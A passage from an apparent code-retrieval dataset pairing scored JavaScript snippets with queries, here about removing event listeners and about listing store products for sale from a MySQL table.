destroy them\n\t\t\tfor(let listener of this.listeners){\n\t\t\t\tlistener();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "54e5765bf7b316b7372464513f5d7c03", "score": "0.7211283", "text": "function removeEventListeners() {\n\n\t\t\teventsAreBound = false;\n\n\t\t\tdocument.removeEventListener( 'keydown', onDocumentKeyDown, false );\n\t\t\tdocument.removeEventListener( 'keypress', onDocumentKeyPress, false );\n\t\t\twindow.removeEventListener( 'hashchange', onWindowHashChange, false );\n\t\t\twindow.removeEventListener( 'resize', onWindowResize, false );\n\n\t\t\tdom.wrapper.removeEventListener( 'touchstart', onTouchStart, false );\n\t\t\tdom.wrapper.removeEventListener( 'touchmove', onTouchMove, false );\n\t\t\tdom.wrapper.removeEventListener( 'touchend', onTouchEnd, false );\n\n\t\t\t// IE11\n\t\t\tif( window.navigator.pointerEnabled ) {\n\t\t\t\tdom.wrapper.removeEventListener( 'pointerdown', onPointerDown, false );\n\t\t\t\tdom.wrapper.removeEventListener( 'pointermove', onPointerMove, false );\n\t\t\t\tdom.wrapper.removeEventListener( 'pointerup', onPointerUp, false );\n\t\t\t}\n\t\t\t// IE10\n\t\t\telse if( window.navigator.msPointerEnabled ) {\n\t\t\t\tdom.wrapper.removeEventListener( 'MSPointerDown', onPointerDown, false );\n\t\t\t\tdom.wrapper.removeEventListener( 'MSPointerMove', onPointerMove, false );\n\t\t\t\tdom.wrapper.removeEventListener( 'MSPointerUp', onPointerUp, false );\n\t\t\t}\n\n\t\t\tif ( config.progress && dom.progress ) {\n\t\t\t\tdom.progress.removeEventListener( 'click', onProgressClicked, false );\n\t\t\t}\n\n\t\t\t[ 'touchstart', 'click' ].forEach( function( eventName ) {\n\t\t\t\tdom.controlsLeft.forEach( function( el ) { el.removeEventListener( eventName, onNavigateLeftClicked, false ); } );\n\t\t\t\tdom.controlsRight.forEach( function( el ) { el.removeEventListener( eventName, onNavigateRightClicked, false ); } );\n\t\t\t\tdom.controlsUp.forEach( function( el ) { el.removeEventListener( eventName, onNavigateUpClicked, false ); } );\n\t\t\t\tdom.controlsDown.forEach( function( el ) { el.removeEventListener( eventName, onNavigateDownClicked, false ); } );\n\t\t\t\tdom.controlsPrev.forEach( function( el ) { el.removeEventListener( eventName, onNavigatePrevClicked, false ); } );\n\t\t\t\tdom.controlsNext.forEach( function( el ) { el.removeEventListener( eventName, onNavigateNextClicked, false ); } );\n\t\t\t} );\n\n\t\t}", "title": "" }, { "docid": "e934bb5d0248873109c7048d707f30b3", "score": "0.71907085", "text": "removeEventListeners(event) {\r\n delete listeners[event]\r\n }", "title": "" }, { "docid": "c6d1cbd884ec21fa51cb709b8d8e99d9", "score": "0.7188059", "text": "updateRemoveAllEvents() {\n this._eventsManager.updateEventsContainer('remove-all');\n }", "title": "" }, { "docid": "2a586d318ce5d8b047b290604b7973bb", "score": "0.71611094", "text": "function deleteEventListeners() {\n hoverPaint.removeEventListener(\"mouseover\", paintBlock);\n hoverPaint.removeEventListener(\"mouseover\", paintGray);\n hoverPaint.removeEventListener(\"mouseover\", paintRainbow);\n clickPaint.removeEventListener(\"mousedown\", paintBlock);\n clickPaint.removeEventListener(\"mousedown\", paintRainbow);\n}", "title": "" }, { "docid": "db4c744d9e6d579253dc3cae8fed6c97", "score": "0.71510804", "text": "function removeEventListeners() {\n\n\t\teventsAreBound = false;\n\n\t\tdocument.removeEventListener( 'keydown', onDocumentKeyDown, false );\n\t\tdocument.removeEventListener( 'keypress', onDocumentKeyPress, false );\n\t\twindow.removeEventListener( 'hashchange', onWindowHashChange, false );\n\t\twindow.removeEventListener( 'resize', onWindowResize, false );\n\n\t\tdom.wrapper.removeEventListener( 'touchstart', onTouchStart, false );\n\t\tdom.wrapper.removeEventListener( 'touchmove', onTouchMove, false );\n\t\tdom.wrapper.removeEventListener( 'touchend', onTouchEnd, false );\n\n\t\t// IE11\n\t\tif( window.navigator.pointerEnabled ) {\n\t\t\tdom.wrapper.removeEventListener( 'pointerdown', onPointerDown, false );\n\t\t\tdom.wrapper.removeEventListener( 'pointermove', onPointerMove, false );\n\t\t\tdom.wrapper.removeEventListener( 'pointerup', onPointerUp, false );\n\t\t}\n\t\t// IE10\n\t\telse if( window.navigator.msPointerEnabled ) {\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerDown', onPointerDown, false );\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerMove', onPointerMove, false );\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerUp', onPointerUp, false );\n\t\t}\n\n\t\tif ( config.progress && dom.progress ) {\n\t\t\tdom.progress.removeEventListener( 'click', onProgressClicked, false );\n\t\t}\n\n\t\t[ 'touchstart', 'click' ].forEach( function( eventName ) {\n\t\t\tdom.controlsLeft.forEach( function( el ) { el.removeEventListener( eventName, onNavigateLeftClicked, false ); } );\n\t\t\tdom.controlsRight.forEach( function( el ) { el.removeEventListener( eventName, onNavigateRightClicked, false ); } );\n\t\t\tdom.controlsUp.forEach( function( el ) { el.removeEventListener( eventName, onNavigateUpClicked, false ); } );\n\t\t\tdom.controlsDown.forEach( function( el ) { el.removeEventListener( eventName, onNavigateDownClicked, false ); } );\n\t\t\tdom.controlsPrev.forEach( function( el ) { el.removeEventListener( eventName, onNavigatePrevClicked, false ); } );\n\t\t\tdom.controlsNext.forEach( function( el ) { el.removeEventListener( eventName, onNavigateNextClicked, false ); } );\n\t\t} );\n\n\t}", "title": "" }, { "docid": "db4c744d9e6d579253dc3cae8fed6c97", "score": "0.71510804", "text": "function removeEventListeners() {\n\n\t\teventsAreBound = false;\n\n\t\tdocument.removeEventListener( 'keydown', onDocumentKeyDown, false );\n\t\tdocument.removeEventListener( 'keypress', onDocumentKeyPress, false );\n\t\twindow.removeEventListener( 'hashchange', onWindowHashChange, false );\n\t\twindow.removeEventListener( 'resize', onWindowResize, false );\n\n\t\tdom.wrapper.removeEventListener( 'touchstart', onTouchStart, false );\n\t\tdom.wrapper.removeEventListener( 'touchmove', onTouchMove, false );\n\t\tdom.wrapper.removeEventListener( 'touchend', onTouchEnd, false );\n\n\t\t// IE11\n\t\tif( window.navigator.pointerEnabled ) {\n\t\t\tdom.wrapper.removeEventListener( 'pointerdown', onPointerDown, false );\n\t\t\tdom.wrapper.removeEventListener( 'pointermove', onPointerMove, false );\n\t\t\tdom.wrapper.removeEventListener( 'pointerup', onPointerUp, false );\n\t\t}\n\t\t// IE10\n\t\telse if( window.navigator.msPointerEnabled ) {\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerDown', onPointerDown, false );\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerMove', onPointerMove, false );\n\t\t\tdom.wrapper.removeEventListener( 'MSPointerUp', onPointerUp, false );\n\t\t}\n\n\t\tif ( config.progress && dom.progress ) {\n\t\t\tdom.progress.removeEventListener( 'click', onProgressClicked, false );\n\t\t}\n\n\t\t[ 'touchstart', 'click' ].forEach( function( eventName ) {\n\t\t\tdom.controlsLeft.forEach( function( el ) { el.removeEventListener( eventName, onNavigateLeftClicked, false ); } );\n\t\t\tdom.controlsRight.forEach( function( el ) { el.removeEventListener( eventName, onNavigateRightClicked, false ); } );\n\t\t\tdom.controlsUp.forEach( function( el ) { el.removeEventListener( eventName, onNavigateUpClicked, false ); } );\n\t\t\tdom.controlsDown.forEach( function( el ) { el.removeEventListener( eventName, onNavigateDownClicked, false ); } );\n\t\t\tdom.controlsPrev.forEach( function( el ) { el.removeEventListener( eventName, onNavigatePrevClicked, false ); } );\n\t\t\tdom.controlsNext.forEach( function( el ) { el.removeEventListener( eventName, onNavigateNextClicked, false ); } );\n\t\t} );\n\n\t}", "title": "" }, { "docid": "fd7331c4cbf17e335f920bbe78a3be9c", "score": "0.7137832", "text": "function _removeEventListeners(target) {\n\t for (var i in this._eventOutput.listeners) {\n\t target.removeEventListener(i, this.eventForwarder);\n\t }\n\t }", "title": "" }, { "docid": "9d6d50dba2753aa0a6787b1072d973d4", "score": "0.713414", "text": "unregisterEvents () {}", "title": "" }, { "docid": "bd98a203393501478df1ce7806d87f09", "score": "0.7132456", "text": "unwireEvents() {\n for (const input of (this.inputElements)) {\n _syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"EventHandler\"].clearEvents(input);\n }\n _syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"EventHandler\"].remove(this.element, 'submit', this.submitHandler);\n _syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"EventHandler\"].remove(this.element, 'reset', this.resetHandler);\n }", "title": "" }, { "docid": "ebc4309da834cbc38cf55b3ebf9c06e7", "score": "0.7128546", "text": "removeFinWindowEventListeners() {\n finsembleWindow.removeEventListener(\"maximized\", this.onWindowMaximized);\n finsembleWindow.removeEventListener(\"restored\", this.onWindowRestored);\n finsembleWindow.removeEventListener(\"blurred\", this.onWindowBlurred);\n finsembleWindow.removeEventListener(\"focused\", this.onWindowFocused);\n finsembleWindow.removeEventListener(\"close-requested\", this.close);\n finsembleWindow.removeEventListener(\"minimized\", this.onWindowMinimized);\n finsembleWindow.removeEventListener(\"parent-set\", this.onParentSet);\n }", "title": "" }, { "docid": "79f5b6f2a73021c2bcf49ecff53e2bce", "score": "0.7095724", "text": "function resetListeners() {\n // If the list is empty then do nothing.\n buttons = document.querySelectorAll('.remove');\n if(buttons.length > 0) {\n // For older browsers it is important to remove all lost event listeners to avoid a memory leak.\n buttons.forEach(button => {\n button.removeEventListener('click', toDo.removeTask);\n });\n\n // Update array of button elements.\n buttons = document.querySelectorAll('.remove');\n\n // These two lines add event listeners to each new button. A call to resetListeners\n // is needed to maintain all the event listeners on the buttons.\n buttons.forEach(button => {\n button.addEventListener('click', toDo.removeTask);\n });\n buttons.forEach(button => {\n button.addEventListener('click', resetListeners);\n });\n }\n }", "title": "" }, { "docid": "dfe220e91b60c19b3ca2da8acb8740a8", "score": "0.7064225", "text": "function removeListeners() {\n$element.unbind(START_EV, touchStart);\n$element.unbind(CANCEL_EV, touchCancel);\n$element.unbind(MOVE_EV, touchMove);\n$element.unbind(END_EV, touchEnd);\n//we only have leave events on desktop, we manually calculate leave on touch as its not supported in webkit\nif(LEAVE_EV) {\n$element.unbind(LEAVE_EV, touchLeave);\n}\nsetTouchInProgress(false);\n}", "title": "" }, { "docid": "7be1cc9a3e45e966b3e3f99590ef2196", "score": "0.7041126", "text": "function removeFormFieldListeners(){\n\t\tExt.getCmp('BRYField').removeListener( 'change', changeFieldContainer);\n\t\tExt.getCmp('TLYField').removeListener( 'change', changeFieldContainer);\n\t\tExt.getCmp('TLXField').removeListener( 'change', changeFieldContainer);\n\t\tExt.getCmp('BRXField').removeListener( 'change', changeFieldContainer);\n\t}", "title": "" }, { "docid": "01ad1deb0d85de0c0f549ffad0d9db2a", "score": "0.7028649", "text": "removeDragListeners() {\n }", "title": "" }, { "docid": "a753b81897b85eb2882e3c9694062292", "score": "0.70165515", "text": "function unsubscribeAll() {\n uninstallGlobalHandler();\n handlers = [];\n }", "title": "" }, { "docid": "550d1a17d7439a8805198a8c60e4d0eb", "score": "0.7014341", "text": "function _removeEventListeners(target) {\n for (var i in this.eventHandler.listeners) {\n target.removeEventListener(i, this.eventForwarder);\n }\n }", "title": "" }, { "docid": "2d6e0fedccd9e42932d8ba98f69f8841", "score": "0.70009476", "text": "function unsubscribeAll() {\n uninstallGlobalHandler();\n handlers = [];\n }", "title": "" }, { "docid": "2d6e0fedccd9e42932d8ba98f69f8841", "score": "0.70009476", "text": "function unsubscribeAll() {\n uninstallGlobalHandler();\n handlers = [];\n }", "title": "" }, { "docid": "2d6e0fedccd9e42932d8ba98f69f8841", "score": "0.70009476", "text": "function unsubscribeAll() {\n uninstallGlobalHandler();\n handlers = [];\n }", "title": "" }, { "docid": "99522b3ee920a18196a322f71687268a", "score": "0.69947517", "text": "function clear_events (child){\n //uniqument pour lui ou aussi pour les inners????\n\tif(child.eventListenerList){\n\n\t\tfor (key in child.eventListenerList){\n\t\t\t\tevents = child.eventListenerList[key];\n\t\t\t\tfor(j=0;j<events.length; j++){\n\t\t\t\t\tchild.removeEventListener(key,events[j] );\n\t\t\t\t}\n\t\t\t}\n\t}\n\tif(child.children){\n\t\t//parcours les elements pour virer les events\n\t\tfor(var ci=0;ci < child.children.length;ci++){\n\t\t\tvar elem = child.children[ci];\n\t\t\tclear_events(elem);\n\t\t}\n\n\t}\n}", "title": "" }, { "docid": "9b1917150b4937a8939b3b38e77f0427", "score": "0.698728", "text": "function removeFormListeners() {\n formElements = document.getElementsByClassName(\"formElement\");\n for (var i = 0; i < formElements.length; i++) {\n formElements[i].removeEventListener('click', startTime);\n }\n}", "title": "" }, { "docid": "6301068504c5eeabce946242dc8b69e7", "score": "0.69843775", "text": "unwireEvents() {\n this.element.removeEventListener(this.eventName, this.keyPressHandler);\n }", "title": "" }, { "docid": "ddbeb66339892d8d5ab051d87593bd70", "score": "0.6983488", "text": "removeClickEvents() {\n this.colors.forEach((color) => {\n color.removeEventListener(\"click\", this.chooseColor);\n this.removeButtonsPointer();\n })\n }", "title": "" }, { "docid": "e6df196bce949b0f753cd44363426641", "score": "0.6978884", "text": "cleanup() {\n this.set('timelineChart', null);\n\n // unsubscribe from all services\n this.get('listeners').forEach(([service, event, listenerFunction]) => {\n this.get(service).off(event, listenerFunction);\n });\n this.set('listeners', null);\n }", "title": "" }, { "docid": "8668669681fb8e014a023e522543bed1", "score": "0.69757885", "text": "removeParseListeners() {\n this._parseListeners.length = 0;\n }", "title": "" }, { "docid": "a3e439a523456801f24d9b6431dd75a6", "score": "0.69747525", "text": "function removeBoardListeners() {\n for (const square of squares) {\n square.removeEventListener(\"click\", squareClickHandler);\n }\n}", "title": "" }, { "docid": "a022725ccaa607cf82b8fc4eb66e16a0", "score": "0.6972477", "text": "function unsubscribeAll() {\n\t uninstallGlobalHandler();\n\t handlers = [];\n\t }", "title": "" }, { "docid": "81a5b549dfd8e268987cecfbcc9e79e1", "score": "0.69677204", "text": "onDestroy() {\n for(var topic in this.listeners) {\n this.removeTopic(topic);\n }\n super.onDestroy();\n }", "title": "" }, { "docid": "7d9375c37ad64083836b5af610da040c", "score": "0.6966296", "text": "clear() {\n each(this.handlers, function(handler) {\n handler.destroy();\n });\n this.mql.removeListener(this.listener);\n this.handlers.length = 0; //clear array\n }", "title": "" }, { "docid": "3eb3944b4639ef9f395306a1c6c71ece", "score": "0.6965431", "text": "function removeListeners(l) {\r\n var idx = listeners.indexOf(l);\r\n if(idx > -1) {\r\n listeners.splice(idx, 1);\r\n if(listeners.length === 0) {\r\n stop();\r\n }\r\n }\r\n }", "title": "" }, { "docid": "15cdbcdc69ed474929e1a28f336d7977", "score": "0.69495285", "text": "_stopListeners() {\n /*\n Serve para receber a nova hora/min digitada pelo usuario.\n Ocorre apos o _callbackQueryUpdateReg, porque onReplyToMessage nao funciona \n https://github.com/yagop/node-telegram-bot-api/issues/113\n */\n try {\n bot.removeTextListener(CMD.P1);\n bot.removeTextListener(CMD.P2);\n bot.removeTextListener(CMD.P3);\n bot.removeTextListener(CMD.P4);\n bot.removeTextListener(CMD.SHORTCUT);\n bot.removeTextListener(CMD.EDIT);\n bot.removeListener('callback_query');\n bot.removeTextListener(CMD.EXPT);\n bot.removeTextListener(CMD.LIST);\n bot.removeTextListener(CMD.HELP);\n } catch (err) {\n logger.error(['Bot > _stopListener -> Erro ao desativar listeners', err]);\n }\n }", "title": "" }, { "docid": "cbc2dd746cc2d8437776e3099e6e12b3", "score": "0.6937601", "text": "function removeListeners(view) {\n var cleanup = view.cleanup;\n if (cleanup != null) {\n for (var i = 0; i < cleanup.length - 1; i += 2) {\n if (typeof cleanup[i] === 'string') {\n cleanup[i + 1].removeEventListener(cleanup[i], cleanup[i + 2], cleanup[i + 3]);\n i += 2;\n }\n else {\n cleanup[i].call(cleanup[i + 1]);\n }\n }\n view.cleanup = null;\n }\n}", "title": "" }, { "docid": "0d1c155eaa5094eefc437316c7c0478e", "score": "0.6933924", "text": "_removeTriggerEvents() {\n if (this._triggerElement) {\n pointerDownEvents.forEach((type) => {\n this._triggerElement.removeEventListener(type, this, passiveEventOptions);\n });\n if (this._pointerUpEventsRegistered) {\n pointerUpEvents.forEach((type) => {\n this._triggerElement.removeEventListener(type, this, passiveEventOptions);\n });\n }\n }\n }", "title": "" }, { "docid": "0d1c155eaa5094eefc437316c7c0478e", "score": "0.6933924", "text": "_removeTriggerEvents() {\n if (this._triggerElement) {\n pointerDownEvents.forEach((type) => {\n this._triggerElement.removeEventListener(type, this, passiveEventOptions);\n });\n if (this._pointerUpEventsRegistered) {\n pointerUpEvents.forEach((type) => {\n this._triggerElement.removeEventListener(type, this, passiveEventOptions);\n });\n }\n }\n }", "title": "" }, { "docid": "c126b3ff00a35ab35b11b6408a9c7e76", "score": "0.6929995", "text": "function removeDragListeners () {\n angular.element($window).off('mouseup', handleMouseUp);\n angular.element($window).off('mousemove', handleMouseMove);\n }", "title": "" } ]
a064db541204f68a48cfec5b762f1276
display all items available for sale
[ { "docid": "08e283333a280f0cc85e2f9955e00801", "score": "0.0", "text": "function displayProducts() {\n // include ids names prices\n connection.query(selectQuery, function (err, res) {\n if (err) throw (err);\n inquirer.prompt([\n {\n type: 'list',\n message: '',\n choices: function () {\n var choiceArray = [];\n let productLabel = '';\n for (let i = 0; i < res.length; i++) {\n productLabel = res[i].item_id + '. ' + res[i].product_name + ' - $' + res[i].price\n choiceArray.push(productLabel)\n }\n choiceArray.push(new inquirer.Separator(), 'Main Menu')\n return choiceArray;\n },\n name: 'products'\n }\n ]).then(function (answer) {\n if (answer.products === 'Main Menu') return mainMenu()\n let selected = answer.products\n productSelected(selected.slice(0, 1))\n })\n })\n}", "title": "" } ]
[ { "docid": "524820f2896961b71aaf3ce1814378fe", "score": "0.6975286", "text": "function showAllShopItems() {\n\tshowShopItemWhenAvailable(healthKitShopItemEl, healingCost, totalCoins, core.totalLife <= 50);\n\tshowShopItemWhenAvailable(improveMagazineShopItemEl, magazineIncreaseCost, totalCoins);\n\tshowShopItemWhenAvailable(fasterReloadShopItemEl, decreaseReloadingTimeCost, totalCoins);\n\tshowShopItemWhenAvailable(increasePowerUpDurationShopItemEl, powerUpDurationIncreaseCost, totalCoins);\n}", "title": "" }, { "docid": "456b4ca7f65b5469e3477a412f4850a4", "score": "0.6934124", "text": "function displayItems()\n{\n\t//Select All from (products) table within (bamazon) DB\n\tconnection.query(\"SELECT * FROM products\", function(err, res)\n\t{\n\n\t\tif(err) throw err;\n\n\t\t//Display all products in table by looping through each row inside table\n\t\tfor(var i = 0; i < res.length; i++)\n\t\t{\n\t\t\tconsole.log(\"ID: \" + res[i].item_id + \" | \" +\n\t\t\t\t\t\t\"Product Name: \" + res[i].product_name + \" | \" +\n\t\t\t\t\t\t\"Category: \" + res[i].department_name + \" | \" +\n\t\t\t\t\t\t\"Price: \" + res[i].price );\n\t\t}\n\n\t\tconsole.log(\"-----------------------------------------------------------------\\n\");\n\n\t\t//Allow Customer to make purchase\n\t\tbuy();\n\n\t});\n}", "title": "" }, { "docid": "b2ff8f50fdcc9eacb5ee14d23d36bc96", "score": "0.68554354", "text": "function forSale() {\n\t//Select item_id, product_name and price from products table.\n\tconnection.query(\"SELECT item_id, product_name, price, stock_quantity FROM products\", function(error, results) {\n\t\tif (error) throw error;\n\t\tconsole.log(\"\\n\");\n\t\t//the below code displays the item_id, product_name and the price for all of items that available for sale. \n\t\tfor ( var index = 0; index < results.length; index++) {\n\t\t\tconsole.log(\"Product Id: \" + results[index].item_id + \"\\n\" +\n\t\t\t \"Product Name: \" + results[index].product_name + \"\\n\" +\n\t\t\t \"Price: $\" + results[index].price + \"\\n\" + \"Quantity: \" + results[index].stock_quantity + \"\\n\" + \n\t\t\t \"--------------------------------------------------------------------------\\n\");\n\t\t}// end for loop\n\t\trunSearch();\n\t});// end of query.\n\t\n} // end of forSale function", "title": "" }, { "docid": "8db15155a5bd4887302abbf27e4855df", "score": "0.68496704", "text": "function viewSale() {\n connection.query(\"SELECT * FROM products\", function (err, res) {\n if (err) throw err;\n for (var i = 0; i < res.length; i++) {\n console.log();\n console.log(\"---------------------------------------------\");\n console.log(res[i].item_id + \" | \" + res[i].product_name + \" | \" + res[i].department_name + \" | $\" + res[i].price + \" | \" + res[i].stock_quantity);\n }\n });\n manager();\n}", "title": "" }, { "docid": "187ee80fdacd07d2f794c5727e8aae9b", "score": "0.68464416", "text": "function viewAllProducts() {\n //connection/callback function\n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) throw err;\n console.log(\"All items currently available in marketplace:\\n\");\n console.log(\"\\n-----------------------------------------\\n\");\n for (var i = 0; i < res.length; i++) {\n console.log(\"Id: \".bold + res[i].item_id + \" | Product: \".bold + res[i].product_name + \" | Department: \".bold + res[i].department_name + \" | Price: \".bold + \"$\".bold +res[i].price + \" | QOH: \".bold + res[i].stock_quantity);\n }\n console.log(\"\\n-----------------------------------------\\n\");\n });\n\n}", "title": "" }, { "docid": "466d32434bc04abebfa94ede768b9acf", "score": "0.6810298", "text": "function showAllItems() {\n connection.connect(function(err) {\n if(err) throw err;\n\n connection.query(\"SELECT * FROM products\", function(err, response) {\n if(err) throw err;\n response.map(function(item) {\n console.log(`Item Id: ${item.item_id} | Product Name: ${item.product_name} | Price: ${item.price} | Stock Quantity: ${item.stock_quantity}`);\n });\n // Function call to execute inquirer,\n // run MySQL queries to show single row\n // of selected item for purchase, and\n // update item quantity after purchase \n start();\n });\n });\n}", "title": "" }, { "docid": "e572182548a2403d9c0a6278e681c995", "score": "0.6799178", "text": "function displayItemsForSale() {\n connection.query(\"SELECT item_id, product_name, price, department_name,stock_quantity FROM products\", function (err, result) {\n if (err) throw err;\n\n if (result.length == 0) {\n console.log(\"There are no items for sale.\");\n }\n\n for (var i = 0; i < result.length; i++) {\n console.log(colors.green(\"\\nBook ID: \" + result[i].item_id.toString() + \"\\n\" +\n \"Book Name: \" + result[i].product_name + \"\\n\" +\n \"Book Price: \" + parseInt(result[i].price).toFixed(2) + \"\\n\" +\n \"Department: \" + result[i].department_name + \"\\n\" +\n \"Stock: \" + result[i].stock_quantity));\n }\n chooseMenu();\n });\n}", "title": "" }, { "docid": "bd1f3ea3ff505cef8c98d8b9711aea03", "score": "0.67669904", "text": "async function menu_ViewProductsForSale() {\n console.log(`\\n\\tThese are all products for sale.\\n`);\n\n //* Query\n let products;\n try {\n products = (await bamazon.query_ProductsSelectAll(\n ['item_id', 'product_name', 'department_name', 'price', 'stock_quantity']\n )).results;\n } catch(error) {\n if (error.code && error.sqlMessage) {\n // console.log(error);\n return console.log(`Query error: ${error.code}: ${error.sqlMessage}`);\n }\n // else\n throw error;\n }\n // console.log(products);\n\n //* Display Results\n if (Array.isArray(products) && products.length === 0) {\n return console.log(`\\n\\t${colors.red(\"Sorry\")}, there are no such product results.\\n`);\n }\n\n bamazon.displayTable(products, \n [ bamazon.TBL_CONST.PROD_ID, \n bamazon.TBL_CONST.PROD , \n bamazon.TBL_CONST.DEPT , \n bamazon.TBL_CONST.PRICE , \n bamazon.TBL_CONST.STOCK ], \n colors.black.bgGreen, colors.green);\n\n return;\n}", "title": "" }, { "docid": "19d774faca4fe555a8ab8c0eb074e2a3", "score": "0.67437506", "text": "function showItems() {\n connection.query(\"SELECT * FROM products\", function (err, results) {\n if (err) throw err;\n var resultsArr = [];\n for (i = 0; i < results.length; i++) {\n resultsArr.push(\"\\nITEM ID: \" + results[i].item_id + \" || ITEM: \" + results[i].product_name + \" || PRICE: \" + results[i].price + \" || QUANTITY: \" + results[i].stock_quantity + \"\\n\\n--------------------------------------------------------------------------\");\n }\n console.log(\"\\nITEMS FOR SALE:\\n\" + resultsArr.join(\"\\n\"));\n userPurchase();\n });\n}", "title": "" }, { "docid": "23a737c26eebc64f7ce17062788f6d0b", "score": "0.6694033", "text": "async showItemsForSale() {\n const character = this.character;\n\n let description = character.location.getDescription(character)\n + character.location.getShopDescription(character, this.info.type);\n\n let attachments = new Attachments().add({\n title: \"What do you want to buy?\",\n fields: character.getFields(),\n color: COLORS.INFO\n });\n\n [description, attachments] = this.getEquipmentForSale(character, description, attachments);\n [description, attachments] = this.getSpellsForSale(character, description, attachments);\n [description, attachments] = this.getItemsForSale(character, description, attachments);\n\n attachments.addButton(\"Cancel\", \"look\", { params: { resetDescription: \"true\" } });\n\n await this.updateLast({ description, attachments });\n }", "title": "" }, { "docid": "017c762af98c8b8c32e42469e2cdf652", "score": "0.6470337", "text": "function getAndDisplaySellList() {\n getSellList();\n console.log('getAndDisplaySellList works');\n}", "title": "" }, { "docid": "bd752dfc37201367e1d2a6e1e51a45f3", "score": "0.6461794", "text": "function displayItems() {\n\tconsole.log(\"\\nWelcome, Customer!\");\n\tconsole.log(\"\\nItems available: \\n\");\n\tconnection.query(\"SELECT * FROM products\", function(err, res) {\n\t\tif (err) throw err;\n\t\t// console.log(res);\n\t\tfor (var i = 0; i < res.length; i++) {\n\t\t\tvar row = res[i];\n\t\t\tconsole.log(\"\\n----------\\n\");\n\t\t\tconsole.log(\"Item ID: \" + row.item_id);\n\t\t\tconsole.log(\"Product Name: \" + row.product_name);\n\t\t\tconsole.log(\"Price: $\" + row.price);\n\t\t};\n\t\tpromptCustomer();\n\t});\n}", "title": "" }, { "docid": "0a7441f0ef327209bc9cfb9757a9d365", "score": "0.64512587", "text": "function displayItems() {\n\n\tconnection.query(\"SELECT * from products\", function(err, res) {\n\t\tif (err) throw err;\n\t\t\n\t\tconsole.log(\"\\n\");\n\t\tconsole.table(res);\n\t\t\n\t\t//This is a recursive call. Using here by intention assuming this code will not be invoked again and again. Other options could've \n\t\t//been used which avoid recursion.\n\t\tdisplayMgrOptions();\n\t});\n}", "title": "" }, { "docid": "036ace6a171171ac56891f63a084d450", "score": "0.64502096", "text": "function displayItems() {\n\tconnection.query(\"SELECT * FROM products\", function(error, response) {\n\t\tif (error) throw error;\n\t\t//create new table to push product info into\n\t\tvar itemsTable = new Table({\n\t\t\thead: [\"Item ID\", \"Product Name\", \"Price\", \"Quantity\"]\n\t\t});\n\t\t//loop through response and push each items info into table\n\t\tfor (var i = 0; i < response.length; i++) {\n\t\t\titemsTable.push([response[i].item_id, response[i].product_name, \"$ \"+response[i].price, response[i].stock_quantity]);\n\t\t}\n\t\t//display table\n\t\tconsole.log(itemsTable.toString());\n\t\t//ask if user would like to return to menu\n\t\treturnToMenu();\n\t});\n}", "title": "" }, { "docid": "d1baf3f4493ca2757b39d69a2dd83e30", "score": "0.6412813", "text": "function viewProducts() {\n connection.query(\"SELECT item_id, product_name, department_name, price, stock_quantity FROM products\", function (err, res) {\n console.log(\"Products for sale\");\n for (var i = 0; i < res.length; i++) {\n console.log(\"======================\");\n console.log(\"Id: \" + res[i].item_id + \" || Department: \" + res[i].department_name + \" || Product: \" + res[i].product_name + \" || Price($): \" + parseFloat(res[i].price).toFixed(2) + \" || In stock: \" + res[i].stock_quantity);\n }\n });\n displayChoices();\n}", "title": "" }, { "docid": "c891757cf59809e12fc301087f2cc2d8", "score": "0.64093894", "text": "function ProductsForSale() {\n console.log(\"Items up for sale\");\n console.log(\"------------------\");\n connection.query(\"SELECT * FROM products\", function(err, res) {\n for (var i = 0; i < res.length; i++) {\n console.log(res[i].item_id + \" | \" + res[i].product_name + \" | $\" + res[i].price + \" | \" + res[i].quantity);\n console.log(\"------------------\");\n }\n MainMenu();\n });\n }", "title": "" }, { "docid": "83f6a2dabaf0b55287f797351b86b3b4", "score": "0.6401887", "text": "function saleProducts() {\n console.log(\"View Sale Products\");\n connection.query(\"SELECT * FROM `products`\", function(queryError, response) {\n if (queryError)\n throw queryError;\n response.forEach(function(row) {\n console.log(\"id = \", \"'\", row.id, \"'\",\n \"Product Name = \", \"'\", row.product_name, \"'\",\n \"Price \", \"'\", row.price, \"'\",\n \"Quantity \", \"'\", row.stock_quantity, \"'\")\n });\n })\n }", "title": "" }, { "docid": "ea4d6f27ddeded2b2ad7d248b3dad2b9", "score": "0.6395548", "text": "function viewSaleProduct() {\n connection.query(\"SELECT * FROM store\", function (err, results) {\n if (err) throw err;\n console.table(results);\n })\n}", "title": "" }, { "docid": "43a2adc6c0eb68fac4486f305c9f48e0", "score": "0.6312109", "text": "function displayItems() {\n connection.query(\"SELECT * FROM PRODUCTS\", function(error, data) {\n if (error) throw error;\n data.forEach(item => {\n if (item.stock > 0) {\n console.log(\n `######################\nItem ID: ${item.item_id}\nProduct: ${item.prod_name}\nDepartment: ${item.dept_name}\nPrice: ${item.price}\nItems Available: ${item.stock}\n######################\\n`\n );\n }\n });\n userProdID = getProdID(data);\n });\n}", "title": "" }, { "docid": "dde853413a1e22f7fd9c9440d281a222", "score": "0.6279671", "text": "function displayAllInventory() {\r\n\r\n var query = \"SELECT item_id, department_name, product_name, price, stock_quantity FROM bamazon.products \" +\r\n \"INNER JOIN bamazon.departments ON products.department_id = departments.department_id \" +\r\n \"ORDER BY department_name, product_name ASC\";\r\n bamazon.query(query, function (err, res) {\r\n if (err) throw (err);\r\n\r\n displayInventoryTable(res);\r\n start();\r\n });\r\n}", "title": "" }, { "docid": "76a551ddee4718dde03955ace43ccb9a", "score": "0.62760764", "text": "function displayItems() {\n connection.query(\"SELECT * FROM products\", function(err, res) {\n if (err) {\n throw err;\n } else {\n console.table(res);\n }\n shopping();\n \n });\n \n}", "title": "" }, { "docid": "226b8dae3e7638ea4ec35465c45433d5", "score": "0.62675226", "text": "function getItems()\r\n{\r\n\t//Declaring the local variables\r\n\tvar itemFilters = new Array();\r\n\tvar itemTypes = new Array();\t\t//version 1.0.1\r\n\r\n\ttry\r\n\t{\r\n\t\t//version 1.0.1\r\n\t\titemTypes[0] = 'InvtPart';\r\n\t\titemTypes[1] = 